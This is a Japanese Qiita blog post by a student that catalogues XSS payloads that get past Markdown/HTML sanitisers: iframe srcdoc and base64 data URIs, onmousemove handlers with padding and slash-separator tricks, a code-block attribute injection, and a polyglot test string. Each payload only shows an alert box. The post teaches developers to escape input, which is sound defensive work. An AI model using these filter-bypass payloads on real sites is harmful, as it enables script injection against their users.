Qiita Teams that are logged in
You are not logged in to any team

Log in to Qiita Team
Community
OrganizationAdvent CalendarQiitadon (β)
Service
Qiita JobsQiita ZineQiita Blog
13
Help us understand the problem. What is going on with this article?
@Azunyan1111

俺的MarkdownにおけるXSS

More than 3 years have passed since last update.

はじめに

Markdown便利ですよね。QiitaやGutHubなど主要なサービスでは主にMarkdownを使って記事の投稿だったり、中~長文を投稿するときにはよく使われていますよね

でもユーザーにWebページに投稿するときに気をつけないといけないのはXSS

インターンシップなどで学生が作ったサイトとかだと大体6割はXSSできちゃいます。(とか言う自分も学生なんですけどね!)

ここでは私個人が経験したXSSについて色々紹介したいと思います。

追記
書いてて思ったけど、Markdownあんまり関係ないです。

いってみよぉ!

HTML編

まず最初はこちら!

XSS.Markdown
<iframe srcdoc="<script>alert('XSS');</script>"></iframe>

メディア系の要素が使えてしまうパターン。
なんと言うか、これが使える場合は大体入力をそのまま何もエスケープせずに出力しているパターンが多いです。

ちなみにこういうパターンもあります。属性内部の文字列「<」や「>」だけがエスケープされていても下記のようにBase64でエスケープされずに通る場合もあります。

XSS.Markdown
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+">

他にもvideo要素だったりaudio要素などもエスケープしましょう。
あずにゃんのキャラソンが勝手に再生されたりしちゃいます。

次はちょっと変わって装飾系要素について

Markdownを書いてて文字を太くしたりするときありますよね
そのときに出てくるのが<b>Hoge</b>要素ですね
これも実はXSSできるんです。

XSS.Markdown
<b onmousemove="alert('XSS')">XSS!</b>

マウスをXSSという文字列に持っていくとJavascriptが実行されます。

わざわざ文字列の場所にマウスを持っていかないといけないと、限定的だと思われますが、こういう場合は大体style属性も使えてしまうのでこうすれば画面のどこかにマウスを持っていけば実行されちゃったりするんです。

XSS.Markdown
<b onmousemove="alert('XSS')" style="padding: 10000px;margin: -10000px;">XSS</b>

また、<b nomouseとbとnの間の空白があるので空白をエスケープしても下記の方法で実行できる場合もあります。

XSS.Markdown
<b/onmousemove="alert('XSS')">XSS!</b>

Markdown編

Markdownの脆弱性はコード関係に多い印象です。

これは挙動がMarkdownの実装によって異なってきます。
実際にできたパターンを紹介したいと思います。
xss.png

HTMLではどのような挙動になっているかと言うと

XSS.html
<code lang="py" onmousemove='alert("XSS")'>
print(0)
</code>

こんな感じでXSSできちゃいます
(Qiitaにもその昔あったとか・・・?)

コピペでできる脆弱性診断

便利な奴があるので貼っときますね。
とはいえ簡易的なものなので過信はしないようにおねがいします

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

XSS フィルター回避チートシートより

XSSについてもっと知りたい!

こちらのチートシートをよく見ると良いと思います。

XSS フィルター回避チートシート

「Markdown XSS」
「Qiita XSS」
などで検索すると色々出てきて面白いです。

とりあえず、自分が最近できたXSSを羅列しました。Markdownを実装するときは意識していきましょう。

13
Help us understand the problem. What is going on with this article?
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Azunyan1111
#seccamp 18 18Y 16F/Golang/Webセキュリティ/元ゲーム会社
naxa
動画関連サービスの技術支援、開発、コンサルティングを行っています。

Comments

No comments
Sign up for free and join this conversation.
Sign Up
If you already have a Qiita account Login
13
Help us understand the problem. What is going on with this article?